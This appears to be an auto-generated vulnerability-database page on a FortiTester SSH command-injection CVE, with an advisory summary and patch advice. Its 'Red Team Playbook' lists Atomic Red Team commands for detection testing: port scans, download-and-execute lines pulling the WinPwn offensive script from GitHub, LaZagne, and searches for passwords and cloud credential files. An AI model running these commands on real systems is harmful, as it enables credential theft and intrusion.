CVE-2022-33874
Overview
This vulnerability is an OS command injection rooted in improper neutralization of special characters within SSH login components of Fortinet FortiTester. The flaw arises from insufficient input validation that allows crafted input to be interpreted as shell commands. Affected components include SSH login handlers in FortiTester versions 2.3.0 through 3.9.1, 4.0.0 through 4.2.0, and 7.0.0 through 7.1.0.
Vulnerability Description
An improper neutralization of special elements used in an OS Command ('OS Command Injection') vulnerabilities [CWE-78] in SSH login components of FortiTester 2.3.0 through 3.9.1, 4.0.0 through 4.2.0, 7.0.0 through 7.1.0 may allow an unauthenticated remote attacker to execute arbitrary command in the underlying shell.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary OS commands on the FortiTester device via SSH, gaining full control over the underlying system. No authentication or user interaction is required (CVSS vector AV:N/AC:L/PR:N/UI:N). This can lead to unauthorized data access, system manipulation, or disruption of testing operations, severely impacting business continuity and security posture.
Solution
Fortinet has released patches addressing this vulnerability in FortiTester firmware versions beyond 3.9.1, 4.2.0, and 7.1.0. Users should apply the updates as outlined in the Fortinet advisory FG-IR-22-237 available at fortiguard.com. No specific workarounds are recommended; timely firmware upgrade is the primary remediation to eliminate the command injection flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the SSH login components of FortiTester versions 2.3.0 through 3.9.1, 4.0.0 through 4.2.0, and 7.0.0 through 7.1.0 arises from improper neutralization of special elements used in operating system commands, commonly referred to as OS Command Injection. This flaw allows an unauthenticated remote attacker to execute arbitrary commands within the underlying shell of the affected systems. The root cause of this issue lies in the failure to adequately sanitize user inputs, which can lead to the execution of unintended commands with the privileges of the application. This vulnerability is particularly concerning given the high level of access it grants to potential attackers, who can leverage it to manipulate system behavior, extract sensitive information, or disrupt services.
Attack vectors for exploiting this vulnerability are varied, but they primarily hinge on the ability of an attacker to interact with the SSH login interface of the FortiTester. An attacker could craft a malicious input that includes shell metacharacters, which, when processed by the application, would be executed by the underlying operating system. For instance, an attacker might attempt to inject commands that could create new user accounts, modify existing configurations, or even deploy malware. The exploitation of this vulnerability does not require authentication, which significantly lowers the barrier for attackers, making it a prime target for automated attacks or targeted campaigns.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on FortiTester for network security and performance testing. Successful exploitation could lead to unauthorized access to sensitive data, including configuration files and user credentials, potentially resulting in data breaches. Furthermore, the ability to execute arbitrary commands could allow attackers to pivot to other systems within the network, escalating their privileges and expanding their foothold. The business risks associated with such incidents include financial losses, reputational damage, regulatory penalties, and the costs associated with incident response and recovery efforts.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating FortiTester to the latest versions that address this flaw is crucial. Additionally, organizations should employ intrusion detection systems (IDS) and web application firewalls (WAF) to monitor and filter incoming traffic for signs of exploitation attempts. Implementing strict input validation and sanitization measures can also help prevent command injection attacks. Furthermore, conducting regular security assessments and penetration testing can identify potential vulnerabilities before they are exploited by malicious actors.
In conclusion, the OS Command Injection vulnerability in FortiTester represents a significant threat to organizations utilizing this product. The potential for unauthorized command execution poses a high risk to system integrity and data security. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare their defenses and mitigate the associated risks. Proactive measures, including timely updates and robust security practices, are essential to safeguarding against such vulnerabilities in the ever-evolving landscape of cybersecurity threats.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortitester | All |
cpe:2.3:a:fortinet:fortitester:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortitester | All |
cpe:2.3:a:fortinet:fortitester:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortitester | All |
cpe:2.3:a:fortinet:fortitester:*:*:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-33874 |
| fortiguard.com |
GitHub CVE
|
https://fortiguard.com/psirt/FG-IR-22-237 |